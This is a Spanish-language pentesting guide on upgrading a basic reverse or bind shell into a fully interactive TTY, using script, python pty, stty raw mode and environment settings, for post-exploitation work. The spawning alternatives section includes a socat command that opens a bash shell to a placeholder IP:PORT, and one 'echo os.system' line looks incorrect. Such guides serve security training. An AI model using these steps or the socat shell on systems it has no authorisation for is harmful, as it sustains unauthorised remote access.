🔄 Tratamiento de TTY: Mejorando la Shell Interactiva

¿Por qué es necesario?

Cuando obtienes acceso inicial a un sistema (mediante reverse shell, bind shell, etc.), normalmente obtienes una TTY limitada que no soporta autocompletado, historial de comandos, o control de procesos. El tratamiento de TTY convierte esta shell básica en una completamente interactiva.


📋 Tabla de Contenidos


🧠 Conceptos Fundamentales

Estados de la shell

graph LR
    A[Shell Inicial<br/>Non-Interactive] --> B[TTY Spawning<br/>script/python]
    B --> C[Background Process<br/>Ctrl+Z]
    C --> D[Raw Mode<br/>stty raw -echo]
    D --> E[Foreground<br/>fg command]
    E --> F[Full Interactive TTY<br/>Con todas las funciones]
    
    style A fill:#ffcdd2,stroke:#d32f2f
    style F fill:#c8e6c9,stroke:#388e3c

Diferencias entre tipos de shell

CaracterísticaNon-InteractiveSemi-InteractiveFull Interactive
Autocompletado (Tab)
Historial (↑/↓)
Control de procesos (Ctrl+C)
Editores (vi/nano)Limitado
Comandos largos
Clear screen (Ctrl+L)

🔧 Proceso Paso a Paso

1. Spawning de TTY inicial

# Generar una TTY usando script
script /dev/null -c bash

Alternativas para spawning TTY

# Si Python está disponible
python -c 'import pty; pty.spawn("/bin/bash")'
python3 -c 'import pty; pty.spawn("/bin/bash")'
 
# Si Perl está disponible
perl -e 'exec "/bin/bash";'
 
# Usando echo
echo os.system('/bin/bash')
 
# Con socat (si está instalado)
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:IP:PORT

2. Suspender el proceso

# Enviar el proceso al background
Ctrl + Z

¡No uses Ctrl+C!

Ctrl+C terminaría la conexión completamente. Solo usa Ctrl+Z para suspender temporalmente.

3. Configurar modo raw

# En tu terminal local (atacante)
stty raw -echo; fg

¿Qué hace este comando?

  • stty raw: Pone el terminal en modo raw, pasando todos los caracteres directamente
  • -echo: Desactiva el eco local para evitar caracteres duplicados
  • fg: Trae el proceso suspendido al primer plano

4. Reactivar la shell

# Presionar Enter para reactivar
[Enter]

5. Configurar variables de entorno

# Configurar tipo de terminal
export TERM=xterm
 
# Configurar shell por defecto
export SHELL=bash
 
# Configurar dimensiones de pantalla (ajustar según tu terminal)
stty rows 44 columns 184

📝 Comandos Explicados

Comando script detallado

script /dev/null -c bash
ParámetroFunción
scriptUtility que registra sesiones de terminal
/dev/nullDescarta la salida de logging
-c bashEjecuta bash como comando

Configuración stty

# Ver configuración actual
stty -a
 
# Configurar dimensiones manualmente
stty rows [número] columns [número]
 
# Obtener dimensiones de tu terminal local
echo $LINES $COLUMNS

Obtener dimensiones automáticamente

En tu terminal local (antes de la conexión):

# Ver dimensiones actuales
stty size
 
# Resultado ejemplo: 44 184
# rows=44, columns=184

⚡ Configuración Avanzada

Script automatizado para TTY

#!/bin/bash
# tty_upgrade.sh
 
echo "[+] Iniciando upgrade de TTY..."
 
# Paso 1: Spawn TTY
echo "[+] Spawning TTY..."
script /dev/null -c bash
 
# Este script continuará después del proceso manual
echo "[+] Configurando variables de entorno..."
export TERM=xterm
export SHELL=bash
 
# Detectar dimensiones automáticamente si es posible
if command -v tput &> /dev/null; then
    ROWS=$(tput lines)
    COLS=$(tput cols)
    stty rows $ROWS columns $COLS
    echo "[+] Dimensiones configuradas: ${ROWS}x${COLS}"
else
    # Valores por defecto
    stty rows 44 columns 184
    echo "[+] Usando dimensiones por defecto: 44x184"
fi
 
echo "[+] TTY upgrade completado!"

Alias útiles post-upgrade

# Crear aliases útiles
alias ll='ls -la'
alias la='ls -A'
alias l='ls -CF'
alias ..='cd ..'
alias ...='cd ../..'
 
# Configurar historial
export HISTSIZE=10000
export HISTFILESIZE=20000
export HISTCONTROL=ignoreboth
 
# Configurar colores
export LS_COLORS='di=34:ln=35:so=32:pi=33:ex=31:bd=46;34:cd=43;34:su=41;30:sg=46;30'

🔍 Troubleshooting

Problemas comunes y soluciones

ProblemaSíntomaSolución
Shell no interactivaNo funciona Tab/historialRepetir proceso desde paso 1
Caracteres extrañosSe ven símbolos rarosEjecutar reset o stty sane
Pantalla desordenadaLayout incorrectoAjustar stty rows/columns
Ctrl+C no funcionaNo se pueden cancelar procesosVerificar modo raw activado
Editor no funcionavim/nano fallanVerificar variable TERM

Comandos de diagnóstico

# Verificar configuración actual
stty -a
 
# Resetear terminal si hay problemas
reset
 
# Configuración limpia
stty sane
 
# Verificar variables de entorno
echo $TERM
echo $SHELL
env | grep -E "TERM|SHELL|LINES|COLUMNS"

Proceso de recuperación

# Si algo sale mal, ejecutar en orden:
reset
stty sane
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
clear

🎯 Verificación de funcionalidad

Checklist post-upgrade

Testea estas funciones

# 1. Autocompletado
ls /etc/pass[TAB]
 
# 2. Historial
# Presiona flecha arriba ↑
 
# 3. Control de procesos
ping google.com
# Presiona Ctrl+C para cancelar
 
# 4. Editor
nano test.txt
# Debería abrir correctamente
 
# 5. Clear screen
# Presiona Ctrl+L
 
# 6. Líneas largas
# Escribe un comando muy largo y edítalo

Configuración óptima final

# Configuración completa recomendada
export TERM=xterm-256color
export SHELL=/bin/bash
export LANG=en_US.UTF-8
export PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
 
# Dimensiones (ajustar según tu pantalla)
stty rows 50 columns 200
 
# Configuración de historial
export HISTSIZE=10000
export HISTFILESIZE=20000
export HISTCONTROL=ignoreboth:erasedups
 
# Prompt personalizado
export PS1='\[\033[01;32m\]\u@\h\[\033[00m\]:\[\033[01;34m\]\w\[\033[00m\]\$ '

¡TTY completamente funcional!

Una vez completado este proceso, tendrás una shell completamente interactiva con todas las funcionalidades esperadas, lo que facilitará enormemente el trabajo post-explotación.